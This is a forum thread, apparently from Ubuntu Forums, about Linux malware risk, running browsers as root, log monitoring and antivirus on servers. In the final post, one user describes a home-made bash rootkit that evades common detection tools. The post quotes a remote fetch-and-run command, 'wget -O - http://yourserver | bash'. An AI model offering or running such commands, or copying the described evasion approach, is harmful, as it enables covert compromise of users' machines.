Can Viruses/Malware affect ubuntu?

[lordofscripts]

Although highly possible it is definitely less likely to happen than a Windows infection becaues most people use Windows and most hackers concentrate their efforts on screwing as many people as possible with less effort.In all the time I used Linux I never had an infection although nowadays with everything being web-based, you can visit a page with a trojan that could steal passwords or things you type on the browser I think.

[ajgreeny]

I mean yes, but that's true with running a web browser in root as well, given GNOME ships with a JavaScript runtime environment. Pointing out WINE for vulnerabilities that aren't much different from Linux is just FUD

Indeed it is true, but if you run a web-browser as root I am inclined to suggest that you almost deserve malware attacks!

Web-browsers run as root is something that should NEVER EVER HAPPEN!!! Users that do so need to learn a lot more about computer security.

D'ont do it!

PS:
I've been using Linux exclusively now for over 15 years without any malware or virus-checker, and never had any infections.

[giant-paw]

Can such rogue processes be detected/caught?

Yes it's interesting how? There was some story when hackers were caught because of server's logs. Happens all the time, probably. How does a user read logs, which logs and what deserves attention in them.

[uRock]

Yes it's interesting how? There was some story when hackers were caught because of server's logs. Happens all the time, probably. How does a user read logs, which logs and what deserves attention in them.

That depends on the system's configurations.
https://www.eurovps.com/blog/importa...be-monitoring/
https://www.loggly.com/ultimate-guid...ng-linux-logs/

[situstarget]

So, should I install AV at Ubuntu Server to prevent malware?

[uRock]

So, should I install AV at Ubuntu Server to prevent malware?

What kind of server? I recommend reading the thread and the Security forums stickies. This one is great. bodhi.zazen did a nice job on it.

[pending...]

Could a malware such as one made in python affect ubuntu or linux in any way by running a script in background which hijacks/installs backdoor or connects to a botnet without my knowledge?
Can such rogue processes be detected/caught?

I'd say yes. I'm working on a very simple "rootkit" (it works firstly under user privileges only, even though a rootkit supposedly works as root) written in bash (yes, in bash), working on desktop environments, for security experiments. Something written to target a particular user of your choice using any Ubuntu LTS variant (I didn't try on other variants). It has to be installed by the target (via social engineering or any tricks of this kind) or via an "evil maid" attack, unless you find any other way to get it automatically installed through an exploitable security flaw. It provides you to get a script of your own remotely executed at scheduled times (such as something like: wget -O - http://yourserver | bash).

This simple 300 lines long program is, as far as I checked, persistent and not detectable through traditional means (ps, crontab, rkhunter, chkrootkit, clamav, most of unhide stuff, and most of the network analyzers, as long as you have an exhaustive list of those which can be running on the system). I tried to make it light enough to keep it from being significantly detected via the CPU load and it hides in the hidden directories of the user's /home/.

All that to say that whether you got infected by a simple malware like that or an advanced one (using preloaded libraries, loadable kernel modules or patched kernel rootkit, which need root to get installed), the methods of detection would be a bit different / almost the same, but the best way to be sure something wrong is happening before breaking up your system to find the culprit would be to tap your network "outside of the box", where nothing could be hidden by any malicious stuff.